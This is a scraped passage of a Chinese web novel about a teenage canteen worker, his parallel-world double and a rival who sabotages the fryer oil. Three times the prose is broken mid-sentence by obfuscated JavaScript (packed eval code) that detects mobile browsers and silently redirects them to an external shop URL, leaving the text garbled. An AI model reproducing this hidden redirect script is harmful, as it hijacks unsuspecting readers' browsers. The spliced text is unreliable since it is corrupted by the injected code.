说完,他转身就走向了远处,操场的喧嚣声有一瞬间汹涌而来,紧接着就消失不见。 陈亦临拿着砖头站在空无一人的废弃电屋里,使劲闭了闭眼睛,也没有再看见“陈亦临”。 他将砖头放下,拍了拍手上的灰,从窗户里翻了出去,揣着兜走出了小区上了公交车。 几个抱着篮球的高中生上来,你一言我一语聊得十分热闹。 陈亦临坐在最后面靠着窗户看了一眼,又转头看向窗外的景色,却猝不及防看见了玻璃上自己的影子,微微发愣。 他扯了扯嘴角,玻璃上的陈亦临也扯了扯嘴角,他嚣张地挑了一下眉,玻璃上的陈亦临也挑了一下眉,和那个嘚瑟嚣张的幻觉“陈亦临”如出一辙。 “啧。”他压低了眉毛,对着玻璃上的陈亦临低声道,“让你逃课,年级第一很了不起吗?” 可惜无人回应。 他蜷在座椅里,膝盖抵着前面的椅背,盯着那几个高中生穿的衣服和鞋子,咬了咬腮帮子上的软肉,闭上了眼睛。 “陈亦临”穿得比他们可好多了,而且长得比他们还高,又帅,性格还好,还是个年级第一。 还会为了打篮球逃课,可厉害了。 他裹紧了身上单薄的外套,吸了吸鼻子,又想起“陈亦临”嘴角噙着的那点笑,忍不住咬了一下嘴角那点唇肉。 一个幻觉到底在天天开心个什么劲? —— 一连好几天陈亦临都没敢回家。 高博乐最先察觉到他不太对劲,忍不住问:“你最近是不是一直住在休息间?” “嗯?”陈亦临正在炸鸡块,拿着筛子的手微微一顿。 “我看休息间多了块板子,放在俩凳子上刚好。”高博乐低声道,“你平时注意点儿,休息间不让过夜,被发现就完了。” “谢了。”陈亦临说。 “没事儿,我也不乐意早起。”高博乐看了一眼窗口外面,“一楼那小子又上来了,你别搭理他,我来。” “好。”陈亦临将口罩往上拽了拽。 “来杯可乐。”黄毛戒指男将两个胳膊搭在了窗口前,大冷天他还是只穿着那件短袖,露出了胳膊上的纹身,他朝着陈亦临的方向仰了仰下巴,“哎,高博乐,那新来的小子叫什么啊?” “我也没问清楚。”高博乐把可乐装好递给他,“人家可是李经理的亲侄子。” 郑恒拿起可乐咬住了吸管,三白眼紧紧盯着陈亦临的背影,轻嗤了一声:“我可没听说李建民还有什么亲侄子,不过肯定走关系进来的没错。” “就一个买汉堡的窗口还用得着走关系?”高博乐挥手赶他,“买完赶紧走,后面还有人呢。” 郑恒恶狠狠地瞪了他一眼:“操,你他妈能个屁。” 高博乐压根不搭理他,郑恒自讨没趣,拿着可乐慢吞吞地下了楼,就看见几个窗口的老板聚在后门的垃圾桶旁抽烟,他自然地凑了过去,要了根烟叼在了嘴里。 “怎么了小郑,谁欠你钱了?”吴时笑道。 “别提了,上个月李经理不是在二楼开了个汉堡档口吗,他本来想去的,结果被人抢了。”有人道,“郁闷好些天了。” 郑恒咬了咬嘴里的烟:“靠。” 吴时弹了弹烟灰:“哦,陈亦临那小子。” “吴哥你认识他?”郑恒眼睛一眯,“我听说他还是李经理的侄子。” “怎么可能,他原来在我那儿干的。”吴时摇了摇头,“他爸天天在外面赌,他妈跑了,我看他可怜让他来帮忙,结果好吃懒做不说,手脚还不太干净,老是少东西,我借了他两千块钱到现在都没还,嗐。” “现在的小孩儿怎么都这样?”有人愤愤不平,“吴哥你就是太好心,别的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16580911|186930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就算了,这两千块钱可不是小数目,怎么着也得要回来吧?” “算了,就当做好事了。”吴时有些无奈。 “操,这王八羔子。”郑恒将烟一拧,往旁边吐了口痰,“吴哥,这事你别管了,我帮你把那两千块钱要回来。” “哎,小郑——”吴时喊了他一声。 见郑恒头也不回地走了,旁边有人担心道:“要不要拦一下小郑?他在外边儿挺混的,搞不好要出事,都是小孩儿。” 吴时一脸担忧:“哎哟,你说我这嘴,早知道我就不说了。” “没事吴哥,你也不容易。”又有人劝道,“这都是些什么事儿。” 吴时抽了口烟,叹息道:“造孽啊,都散了吧,我去劝劝小郑。” 几个人散开,吴时踩灭了脚下的烟,刚进楼梯口,就和宋志学对上了视线。 宋志学看了他一眼,上了二楼。 —— 陈亦临估摸着陈顺不会一直在家,准备今天回去换身衣服。 “小陈,回家啊?”宋志学摘下了袖套。 “嗯,宋哥你也早点下班。”陈亦临擦好了桌子,将餐盘归位。 宋志学看了他一眼:“你和一楼那个吴时有仇?” “没有,之前在他窗口干过。”陈亦临说。 宋志学点了点头:“最近学校外面混混挺多的,上下班路上小心点儿。” “好的,谢谢宋哥。”陈亦临背上书包出了门。 虽然宋志学只是一说,但高博乐也让他小心,陈亦临多少有点在意,出食堂的时候瞥见了垃圾桶旁边的废弃桌子,挑了根顺手的桌腿塞进了书包里。 现在天黑得很早,刚出校门就亮了路灯,他打算照旧抄近路回家,一边走在灯光昏暗的巷子里一边背高考英语3500词:“apany,动词……陪同,陪伴,与…同时发生,呃扛木破内……” 他读得磕磕绊绊,死活记不住。 要是“陈亦临”在就好了,说不定大学霸还能教教自己。 不过他有点想象不出来“陈亦临”教他学英语单词的样子,这个幻觉虽然有时候很温柔,但也很轻佻恶劣,总爱逗弄人玩,完全不像学习很好的样子,什么年级第一也有可能是骗他的。 不知道下次什么时候能再见。 “哎,陈亦临!” 他愣了一下,有点错愕地转过头:“你怎么又——” 那个三白眼的黄毛叼着根烟站在路口,身后还跟着七八个出厂设置相似的红黄蓝绿毛,手里要么拿着烟要么拿着棍子,一看就很有气派。 陈亦临皱起眉,转头看向前面,三四个人跟着一个剃着青皮的高个子扛着根棒球棍,眉毛上楔着个钉子,他嚼着嘴里的口香糖:“看你妈看啊傻逼!” “……”陈亦临动了动还隐隐作痛的右手,抬头看向旁边居民楼的破旧阳台,都安装着防盗窗。 “别跟他废话,陈亦临,你是不是借了吴时两千块钱?”郑恒吐了口烟。 “没有。”陈亦临攥紧了书包带子,佝偻着肩膀看起来有些瑟缩。 郑恒轻蔑地嗤了一声:“果然不老实啊,听说你爸是个赌狗你妈也跑了,混挺惨啊,欠钱不还又抢老子工作,你很牛逼吗?” “我没欠吴时钱,也没抢你工作。”陈亦临抿了抿唇,“让开,你们挡路了。” “卧槽?!”郑恒被他这幅又窝囊又横的样子搞得有点窝火,“兄弟们给我弄他!” 陈亦临有些烦躁地拧起眉,周围十多个小混混喊着叫着一起冲了过来,他拽下书包一下挡开了那个青皮的棒球棍,顺带着甩开了两个看起来就没力气的货,想通过缺口跑出去,结果郑恒眼尖,一脚就踹到了他的肚子上,将他往后踹了个趔趄:“你他妈还想跑!” 陈亦临目光阴沉地盯着他:“嘴巴放干净点。” 郑恒笑了一声,他吐掉烟用舌头顶了顶左脸的腮帮子:“放干净你妈呢,操|你妈——” 一拳头不偏不倚,正砸在他的左脸上,他被打得往旁边一偏,紧接着就被人薅住了肩膀往下一压,肚子上传来了一股剧痛,陈亦临一膝盖顶在他的上腹,抓住他的头发屈肘砸在他的脖子上,下一秒郑恒就眼前一黑,像滩烂泥一样瘫在了地上。 周围的人被他利落的身手吓了一跳。 陈亦临的左手攥着捡来的那根桌腿,神色冷峻眸光狠戾:“操,有本事都上。” 有两个退缩的,但更多的是不要命的,不管三七二十一就冲了上来,陈亦临已经很久没有打过群架了,他用没受伤的左手拿着棍子多少有些吃力,后背和腿上挨了几下,疼得他有些暴躁。 几分钟后,他扔掉了那根打烂的棍子,拍了拍袖子上的土,弯腰将地上的书包和单词本捡了起来,本子上还被踩了好几个脚印子。 他有些心塞地用手扫了扫,揣进了兜里,看向那群躺在地上的混混:“我没有欠吴时的钱,也没有抢别人工作,再来找我麻烦真弄死你们。” 被揍得鼻青脸肿的青皮眉钉像是想到了什么,突然道:“你是之前实验中学那个陈阎王?!!” “卧槽,谁啊?”旁边有人抱着快断的胳膊问。 “以前实验那片的老大,领着群人差点弄死东阳街李凯的那个姓陈的!” “……”陈亦临猝不及防听见初中的黑历史,尴尬地蜷了一下脚趾,冷酷道,“认错人了。” 说完,他背着书包快步离开,只留下一群彩毛满地哀嚎。 什么老大阎王,他早金盆洗手从良了。 所以apany到底是个什么鬼意思!?? 10.符咒 陈亦临回家洗了个澡,简单收拾了几件衣服就回了食堂的休息间。 不管是之前沙发上的刀还是从电屋擦肩而过,都给他带来了极大的不安,这个狭窄的、充斥着油腻味道的休息间反而比家里更安全。 晚上食堂虽然不断电,但他也不敢开灯,他用纸板将门上的窗户贴好,又从旁边挂衣架上拿了根鞋带,将调到最暗的手电筒系在了床头——说是床,实际上是两个废弃的餐椅中间架了块破门板,门板中间被一个装过冻肉的废塑料箱抵住,以防门板断裂。 陈亦临拽过书包当枕头,盖了件从家里翻出来的羽绒服,他有些艰难地翻了个身,结果被门把手硌到腰,顿时疼得面容一阵扭曲。 他坐起来,扭过身借着光去看,果然后腰上有一大块淤青,边缘泛着黄白,看着就疼。 想起傍晚打的那场架,陈亦临就有些烦躁,可能是那个青皮喊的外号让他想起了初中的事,可能是单纯烦郑恒,他好不容易找了个合心的工作,不想就这么被人搞黄。 他撩下卫衣,盯着墙上自己放大的影子。 也可能是因为“陈亦临”白天又突然出现,说明他还是有精神病。 想起那家伙嚷嚷着不爱了跑走,陈亦临忍不住笑了起来,结果下一秒面前的空间开始扭曲模糊,他不适地眨了眨眼睛,就看到了一个明亮又宽敞的房间。 他几乎一眼就认出这是“陈亦临”的卧室,黑棕的家具配色看起来很沉稳,书架占据了整面墙,上面摆满了书和各种奖杯,另一面落地窗可以直接看到后花园,书桌就在落地窗旁边,散落着几张试卷。 他参观了一会儿,绕过半面屏风似的隔断,就看见了“陈亦临”的床,被子铺得很整齐,衣架上挂着校服,瘪掉的篮球被随意扔在角落里,上面还插着把……刀? 陈亦临正要靠近去看,就闻到了一股潮湿的青柠香,紧接着就是一片热烘烘的气流掠过,兴奋的声音传来:“你竟然来我这里了!” 如果能碰到,陈亦临肯定会被他从后面抱个趔趄,他转过身看向对方:“……” “陈亦临”穿着一身黑色真丝睡衣,领口大敞,和之前的风格大相径庭,见他看自己,大大方方地任由他打量:“要不我解开给你仔细看看?” 陈亦临莫名其妙:“看什么?” “看胎记?”“陈亦临”笑着又一次穿过他。 “我没胎记。”明明这么宽的路,陈亦临确定他就是故意的,心里有点微妙,“你别老穿过去。” “我也没胎记。”“陈亦临”拿了条毛巾搭在脖子上,又从他身体里穿过去,转身凑近朝他的脸上吹了口气,笑吟吟道,“就穿,碰不到急死我了。” 陈亦临往后躲了一下,但还是被他身上潮湿的香气包裹,还热烘烘的,他说:“为什么要急?” “陈亦临”似乎被他问住了,抓起毛巾擦了会儿头发才慢悠悠道:“碰不到多没意思,我过去找你像个鬼,你过来找我也像个鬼,两个阿飘怎么玩?打架都打不起来。” 陈亦临心说也有道理,但面上还是一副无所谓的样子,他坐在衣柜中央,居高临下地看着“陈亦临”擦头发。 “嘶——”“陈亦临”挑眉看着他,“爬哪里去了这么高?” 陈亦临在现实中左右看了看:“一个架子上。” “下来,不怕摔啊?”“陈亦临”朝他勾了勾手指,“给你看个好东西。” 陈亦临从衣柜上跳了下来,正好跳到他身体里,“陈亦临”下意识地往后躲了躲,反应过来有点好笑地捞了他一把:“报复我?” “没,跳偏了。”陈亦临坐在了床上,“看什么?” “陈亦临”见他挨着自己,眼底的笑意加深,然后从枕头底下拿出来了个巴掌大的铜葫芦,上面篆刻着复杂的咒语,他的声音隐隐带着期待:“看看能不能把你收进来。” “?”陈亦临皱起眉,有些面色不善地盯着他。 “好吧,我看灵异论坛里有人这么干,就想试试。”“陈亦临”笑得有点无奈,“既然你不愿意试就算了。” 陈亦临幽幽地看着他:“刚才你已经把盖子打开了。” “陈亦临”:“……咦?” 陈亦临有点想揍他:“无聊,你肯定被骗了。” “陈亦临”有点失望地将葫芦扔进了垃圾桶里:“啧。” 陈亦临第一次见他这么低落,忍不住问道:“你买这东西花了多少钱?” “一万八千八。”“陈亦临”摊开手,“外加吃素一星期,沐浴焚香三天。” 陈亦临眼前一黑,想把他塞进这破葫芦里醒醒脑子:“你就是个傻子吧?” “我就是想碰到你,我有什么错?”“陈亦临”理直气壮地看着他,“临临,你根本不知道平行世界对我的吸引力有多大。” “再敢叫一声临临我弄死你。”陈亦临阴沉沉地说。 “陈亦临”略显悲伤地看着他。 陈亦临深吸了一口气:“那玩意儿能退吗?” “不能。”“陈亦临”无所谓地擦了擦头发,将毛巾随手一扔,正好挡住了角落里的篮球,“逗你玩的,街上买的不值钱的小东西,别生气了。” 陈亦临看了一眼那个角落,刚要说话,就被人“揽”住了肩膀,下一秒额头就传来了点温热的触感,紧接着就是“陈亦临”含着笑意的声音:“再试试这个。” 陈亦临眼前一阵眩晕,再睁眼,那间气派豪华的卧室消失,眼前是食堂休息间那扇油腻的铁门。 “竟然真的有用。”“陈亦临”显然也没想到,眼底的震惊不比他少。 陈亦临看向他:“你在我脸上画了什么?” “一个符咒,我从论坛上学的。”“陈亦临”的震惊变成了兴奋,“竟然是真的。” “你——”陈亦临心里忽然涌起了一股巨大的不安。 “不过这是什么地方?”“陈亦临”看着黑漆漆一片的食堂,“你大半夜来这儿探险吗?” 休息间太小,刚才陈亦临为了能参观他的卧室不得已进了大厅——他“去”到“陈亦临”所在的世界时,也能看见现实中的物体,只是现实中的物体变得更像虚影,平行世界更贴近实景,而且他要移动,也必须在现实中进行移动。 陈亦临皱了皱眉,他对于自己用到平行世界这个词感到郁闷,明明都是些幻觉,肯定是因为另一个人天天在他耳朵边念叨。 “离家出走。”陈亦临打开了休息间的门,又小心地将门上的玻璃用纸板盖好,将床头墙上挂着的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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如果眼前有一面镜子,陈亦临就能清晰地看到两个重合在一起的自己,一个眉头紧皱神色戒备,而另一个在背后拥着他,脸上的笑容和兴奋不加掩饰。 可惜他看不到。 指腹触碰在眉心却又隐约带着热气,仿佛另一个“陈亦临”在和他一起操控手指,陈亦临下意识地闭上了眼睛,听见对方在耳边说:“这是前半部分,能记住吗?” “不知道。”陈亦临喉结微动,“你快点儿。” “陈亦临”轻笑了一声,带着他加快了速度:“这个符咒可是我费了好大的功夫——” 咔嚓。 门外忽然传来了一道声音,紧接着就是压低的说话声,陈亦临猛地睁开眼睛,一个跨步按灭了手电筒,紧贴在了门后的墙上。 “……嗯?”被打断的“陈亦临”有点不爽地眯起眼睛。 “有人来了。”陈亦临压低声音,悄悄掀开了挡在玻璃上的纸板,向外看去,借着食堂外面的路灯,看到了两个鬼鬼祟祟的人影。 “陈亦临”走到他身后贴着他,郁闷地将脑袋搭在他肩膀上,和他一起悄摸摸地往外看:“谁啊?” 热气喷洒在耳廓,痒得陈亦临舔了舔犬齿,他低声道:“是郑恒。” 11.心情 郑恒手上的戒指在灯光下泛着灰暗的光,一桶看不出颜色的油在他手下轻轻晃动。 “郑哥,要是真吃死了人了怎么办?”青皮眉钉小心翼翼地问。 “吃死个屁!顶多吃坏肚子!”郑恒一巴掌拍到他脑门上,险些把他的眉钉薅下来,“真出了事也是陈亦临搞得,跟我们没关系!” 王晓明一个大个子被他打得缩成一团,双手护着脑袋:“别打我脑袋,郑哥。” “操,你连技校都考不上,脑袋留着有个屁用。”郑恒直起身子,摸到了卖汉堡的档口。 王晓明颇有些委屈:“你不也没考上。” 郑恒转头瞪着他,王晓明缩了缩脖子:“窗户锁了,咱们怎么进去?” 郑恒指了指旁边的窗户:“那边有个休息间,从里面能拐进去,去把门打开。” 王晓明有点不情愿,但迫于他的威压,只好轻手轻脚地去开门。 休息间内,陈亦临拿出了个扳手,另一只手攥到了门把手上,神色狠戾,像头蓄势待发的豹子。 “你干什么?”“陈亦临”见这架势吓了一跳。 “我弄死他们。”陈亦临这次是真生气了,对方明的不行来暗的,还是用这么下作的手段。 “弄死他们你就要坐牢了。”“陈亦临”贴在他后背上,轻轻握住他的手腕,“而且就算这次打跑了他们,这种人贼心不死,下回肯定有更歹毒的手段,防都防不住。” 他越贴越近,陈亦临转头不耐烦地看了他一眼:“离我远点儿。” 真打起来影响他发挥。 “陈亦临”却耍赖皮似的,直接从后面将他整个人抱住,笑道:“况且你不是离家出走吗?万一被发现偷偷住在这里怎么办?” 陈亦临一愣,他确实没想到这个问题。 外面的脚步声越来越近,“陈亦临”带着他的手远离了门把手,在他耳朵边低声道:“放心,我有办法对付他们。” 铁门被人推开,发出了刺耳的吱嘎声。 王晓明拿着手电筒扫了一眼狭窄的房间,转身朝郑恒招手:“郑哥,没人。” “操,有人才是见鬼了。” 郑恒提着那桶油走进来,两个人从另一面墙的窗户翻进了汉堡档口后面,王晓明将油炸桶的盖子掀起来,郑恒毫不犹豫地将那桶黑漆漆的油倒了进去。 王晓明有些担心,忍不住道:“万一被发现了怎么办?” “食堂监控上个月就坏了,根本没人修。”郑恒道,“到时候学生吃了他们的汉堡拉肚子进医院,别说陈亦临,就算李建民都得被开除,这群傻逼都没好下场。” 昏暗晃动的灯光下,他脸上露出了扭曲而畅快的神色,仿佛已经看见了陈亦临和李建民悲惨的下场,天知道前两天他看见陈亦临拿那么多工资有多嫉妒,那些钱本来应该是他的! 王晓明后背隐隐发凉,使劲搓了搓胳膊:“郑哥,咱们快走吧。” 郑恒瞥了他一眼:“没出息,真是白长了这么大的个子。” 王晓明被骂也不恼,而是拽着他爬出了档口。 陈亦临拿着扳手蹲在之前的架子上,紧紧盯着两个人逃蹿的身影,让人毫不怀疑下一秒他就要把扳手砸到两人头上,来个脑浆开花。 “陈亦临”站在架子下面朝他张开胳膊:“来,我接着你。” 陈亦临纵身跳下去,躲开他轻飘飘地落在地板上,见人满脸控诉看着自己,拿着扳手虚虚地敲了一下他的脑袋:“砸死你信不信?” “陈亦临”笑起来,亲密无间地缠在他身上:“不信,你肯定舍不得。” 陈亦临觉得他说话老让人有点恶心,但又说不上来哪里不对,干脆直接转移了话题:“你刚才说的办法是什么?” 他掀开油炸桶的盖子,不知道郑恒倒进去的是什么东西,只是这么看或者闻的话,根本发现不了异样。 “陈亦临”凑到他耳朵边低声道:“你先这样……再这样……然后……” 陈亦临后撤了一步,狐疑道:“真能行?” “试试呗,不行你打我。”“陈亦临”又要靠近他,“走,我们继续。” 陈亦临拿着扳手指着他:“没心情玩了,你离我远点儿。” “陈亦临”意味不明地盯了他两秒,旋即脸色一垮,张开胳膊朝他扑了过来:“临临~” 陈亦临被他烦得转身就跑,“陈亦临”幽灵一样在后面追他,还故意发出阴森森的笑声,两个少年在食堂大厅里到处乱蹿,闹腾得像一群猴子。 “……”站在楼梯口的人沉默了片刻,转身下了楼。 皮鞋踩在楼梯上,发出了细微的动静。 “陈亦临”忽然停下,支棱起耳朵。 陈亦临疑惑地看向他,拎着扳手谨慎地走到他身边,压低了声音道:“是不是郑恒又回来了?” “陈亦临”神色凝重,下一秒忽然转身扑向他:“嘿嘿,抓住你了吧!” 陈亦临猝不及防被一大团热气包裹住,下意识往后一退,后腰正好磕在了桌子边上,他额头青筋直跳:“无聊。” “陈亦临”似乎很享受和他完全重合在一起这件事情,缠着他道:“明天晚上我来找你好不好?” 陈亦临没说好也没说不好,带他回到了狭窄的休息间,裹上外套躺在了“床”上。 “陈亦临”见他不说话,蹲在床头边小声喊他:“临临,你怎么了?” 见他不睁眼,又拿手戳他的脑门,陈亦临忍了好几秒,睁开眼就看到他将脑袋搁在硬邦邦的门板上,眼巴巴地瞧着自己。 “有点累了。”陈亦临翻了个身,枕着胳膊方便看着他,“明天我还要早起,你明天不上学吗?” “好吧。”“陈亦临”郁闷地吐了口气,“明天晚上见。” “嗯。”陈亦临见他一直趴着,忍不住伸手摸了摸他的脸。 “陈亦临”冲他露出了个十分乖巧的笑容,下一秒就消失在了原地。 陈亦临如释重负地吐了口气,起身龇牙咧嘴地掀开了衣服,果不其然,后腰青得更厉害了,被踹到的小腿和胳膊也肿了起来,要不是穿得多肯定会被看见,方才和“陈亦临”又跑又跳,最后磕得那下差点疼死他。 希望明天晚上能好。 —— 第二天,高博乐看着刷得干干净净的油炸桶,疑惑道:“这么快就换油了?” “我来的时候看见里面有脏东西就顺手倒了。”陈亦临说,“再换桶新的吧。” “好。”高博乐也没放在心上,从储物柜里拆了桶新的油倒了进去。 他们这个档口虽然是新开的,但是汉堡和炸鸡在年轻人中一直很受欢迎,短短一个月后,已经变成了食堂最忙碌的档口之一。 李建民见他们这么忙,纠结要不要再招一个人,但里面就这么大的空间,四个人就有点转不开了,最后只能放弃,转而提议给他们三个加工资,陈亦临几人自然十分乐意。 “李老板真是个好人。”高博乐开心道,“正好我手机坏了,换个新的。” 陈亦临问:“手机要多少钱一个?” “得看什么牌子吧,我现在用的这个两千多一点。”高博乐说,“咋啦,你也想买一个?” “太贵了,而且我也用不到。”陈亦临摇了摇头。 不过下班之后,他就去了开在学校外面的手机店。 “租手机?”老板显然很少碰到这种要求的顾客。 陈亦临点了点头:“要有录像功能的那种,租一天要多少钱?” “现在的手机都能录像拍照。”老板翻了翻柜子,拿出来了一个黑色的手机,“押金五百,一天三十,你要租得时间长我给你便宜点。” 陈亦临又和他讲了很久的价,压到了一天十七块,拿到手的时候有些肉疼。 很快夜色降临,喧嚣的食堂归于寂静。 陈亦临藏在休息间里,确认手机充满了电,支着耳朵听着外面的动静,然而时间一分一秒过去,却迟迟没有动静。 不来了? 难道郑恒知道自己被发现了? 他心中正猜疑不定,另一个人比郑恒更早来到,“陈亦临”突然出现在他面前,兴奋劲还没过去:“果然成功了,这个穿越符咒真的好用。” 原本一直紧张等人的陈亦临瞬间放松下来,他忍不住多看了对方一眼。 “陈亦临”今天戴了个棒球帽,穿了件白色的高领毛衣,外面是件黑色的大衣,休闲裤和鞋子不知道是什么牌子,但一看就很贵,他鼻尖冻得通红,见陈亦临看自己脸上露出了个灿烂的笑容:“一天不见就想我啦?” “今天没去上学?”陈亦临问。 “陈亦临”闻言脸上露出了痛苦的神色:“别提了,今天我奶奶生日,我偷溜出来的。” “哦。”陈亦临垂下眼睛,又看了他一眼。 “搞到手机了吗?”“陈亦临”一个劲地往他身边挤,“冻死我了。” “嗯。”陈亦临不动声色地让他靠着,“下回出来多穿点儿。” “这样比较帅。”“陈亦临”伸出手来捧住他的脸,“给我暖和暖和。” 原本温热的气息带着一丝凉意,陈亦临垂着眼睛摆弄着手机,没躲开。 “那个郑恒还没来吗?”“陈亦临”绕到他背后,试图把手插进他的卫衣兜里。 “今晚不一定来。”陈亦临扫了一眼他不老实的爪子,皱了皱眉,“你不会找个暖和点的地方?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16594018|186930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “到处都是人,他们看见我自言自语又跑又跳,指定以为我中邪了。”“陈亦临”将脑袋搭在他肩膀上,“我要是被抓起来你可就见不到我了。” “呵。”陈亦临扯了扯嘴角,“那说明我的精神病好了。” “陈亦临”无奈地叹了口气:“临临,不要说这种伤人心的话。” 陈亦临抓起旁边的羽绒服套在身上,神色冷酷道:“进来。” “陈亦临”轻笑了一声,往前半步和他的身体完全重合,瞬间被暖意包裹,他舒服地喟叹了一声:“我就知道你最爱我了。” 陈亦临已经对他这张嘴免疫,在听见动静的时候立刻藏了起来,被晾到一旁的“陈亦临”幽幽地叹了口气,飘到他身体里和他保持同一个姿势蹲了下来,远远看上去就像陈亦临的虚影。 “郑哥,咱们真的还要干这个事儿吗?”王晓明拎着两桶油有些吃力,“昨天倒的废油没用啊。” 郑恒有些气急败坏,他今天兴奋难耐地等了一整天,结果楼上一点儿动静都没有,还听说了陈亦临要加工资的噩耗,差点把他给气死,他咬着牙说:“放心,这次我在里面加了点猛料。” “至于吗?”王晓明不安。 郑恒骂了句脏话:“你没听吴时说吗,陈亦临这小子手脚不干净,还偷了他两千块钱,还有李建民那个老东西,当时我那么求他他都不让我来,陈亦临手断了都被他塞进来,操,我整不死他们。” 王晓明见他这样也不敢再说话了。 “吴时早就看好这个档口的位置了,等把他们搞黄了,我就跟着吴时干。”郑恒瞥了他一眼,“到时候让你也过来,别整天在外面闲逛,起码能挣点钱。” 王晓明点了点头。 郑恒将三桶油全都倒进了油炸桶,扫视一圈后,又从冰箱里顺走了几袋子冷冻鸡排,王晓明听他的指示扛了三箱子饮料,而后两个人就这么大摇大摆地离开了。 一直等没动静了陈亦临才出来,拿走了藏在架子后的手机结束了录制,虽然视频里很黑,但晃动的手电筒还是照到了郑恒和王晓明的脸。 “发吧。”“陈亦临”催促他,“赶紧发完我带你来我这里玩,回家咱们看电影。” 陈亦临却有点犹豫:“李经理一直在住院,会不会不太好?” “不然等他们栽赃到你头上?”“陈亦临”眯起眼睛,“陈亦临,别滥好心。” 陈亦临掀起眼皮看向他。 “陈亦临”无奈地笑了笑,捧住他的脸道:“再说没人知道是你发的,你这是揭露邪恶坚守正义,更不会有人发现你偷偷住在这里,快点儿。” 他前面的话说得软和,后面却带了点催促和命令的意味,陈亦临被他身上热烘烘的气息裹得有点心烦意乱,想起郑恒这事办得确实恶心,直接将视频发给了李建民。 “做得好临临。”“陈亦临”打了个响指,迫不及待地往他额头上画了那个符咒。 下一秒,陈亦临就到了片黑压压的树林里,吓了一跳:“靠,你跑哪里来了?” “陈亦临”将手揣进大衣口袋里,冲他抬了抬下巴:“转过去。” 陈亦临将信将疑地转过身。 夜幕低垂,他们站在山顶看着脚下城市的夜景,星星点点的光汇聚成璀璨的光海,漂亮得有些不可思议。 “好看吧?”“陈亦临”站到他身边,“一般人我都不带他来这儿。” 陈亦临看了一会儿,又转头看向他们身后的山林,纳闷道:“你不是给你奶奶过生日吗?在这儿?” “对啊,我奶奶已经去世十年了,她就住在旁边的公墓里,给老人家白天过生日也不太合适。”“陈亦临”叹了口气道。 “……”陈亦临组织了半天的话,硬是不知道该说什么。 “陈亦临”神色凝重地和他对视两秒,笑得肩膀都在抖。 好半晌,陈亦临才找回自己的声音:“说真的,让你爸妈带你去看看脑子吧。” 一天天跟有病似的。 “这话你就有逻辑上的漏洞了。”“陈亦临”坐在草地上,拍了拍旁边示意他也坐下。 陈亦临被山风吹得有点头疼,戴上了羽绒服的帽子坐在了他身体里。 “真贴心。”“陈亦临”下意识地去摸兜,但又像想到什么停下,将手放到了他蜷在袖子里的手上抓了抓,“不过你要真以为我是幻觉,就不会觉得我需要看医生了。” 陈亦临低头看了一眼他的大衣口袋,没看出里面有什么东西。 “承认吧临临,你根本没把我当幻觉。”“陈亦临”有点开心道。 陈亦临抬起头,和他一起看向山下城市里的灯火,过了许久才轻嗤了一声。 “随便吧。” 12.秘密 翌日早。 宋志学刚到食堂就接到了李建民的电话,见陈亦临和高博乐准备开火赶紧摆手让他们停下:“……哎,行,李经理我知道了,我不让他们动,等你过来再说。” 他挂断电话,对两人道:“先放这儿别动。” 高博乐不解:“马上就到饭点了,早上卖得虽然没下午多,也得炸上一会儿。” 宋志学看着油炸桶里的油,拧起眉:“你不用管这个,去数一下冰箱里的存货,小陈,你去查一下饮料。” 陈亦临和高博乐面面相觑,但还是依言去做。 二楼餐厅里已经开始陆续上人,早起的学生有的蔫头耷脑,有的神采奕奕,但大多三五结伴,没多久餐厅里就热闹了起来。 郑恒就是这时候上的楼,他难得穿上了件外套,一路左看右看溜达到汉堡的档口,笑嘻嘻道:“哎,宋哥,今早上人多吗?” 宋志学看了他一眼,没吭声。 郑恒的目光略过他往窗口里面看,只依稀看见陈亦临的影子,他又转头去看餐厅里的学生,却没看见有吃汉堡的,心中的疑惑刚起,就见高博乐有些慌乱地找到宋志学:“宋哥,丢了六袋鸡排。” “数清楚了?”宋志学心一沉。 “数清楚了,昨天下班的时候我还数了一遍记本子上。”高博乐着急道,“不会进小偷了吧?” 郑恒幸灾乐祸道:“食堂的门关得这么紧,怎么可能进小偷?再说就这么几袋子不值钱的鸡排—— 怕不是有人趁着干活的空挡,故意顺走的。”他抬高了声音,引得附近档口的员工和几个学生看了过来。 “还没查清楚的事别乱说。”宋志学沉声道。 “宋哥,饮料也少了两箱。”陈亦临走了过来低声道。 郑恒耳朵尖,闻言不怀好意地看着陈亦临:“陈亦临,不会是你偷的吧?” 陈亦临冷冷地看着他,高博乐怒道:“郑恒,你他妈少在这里放屁!” “哟,急眼了还。”郑恒吊儿郎当地嗤笑一声,大声道,“你们还不知道吧,这个陈亦临之前是在一楼吴哥档口那儿干的,就是因为手脚不干净被辞退的,还借了人家吴哥两千块钱死活不还!这位可是有前科的。” 看热闹的学生和档口的员工围了过来,许多目光落到了陈亦临身上。 高博乐气得不行,要出去和郑恒理论,被宋志学拦住,他看向郑恒:“这是我们自己档口的事情,和你没关系。” 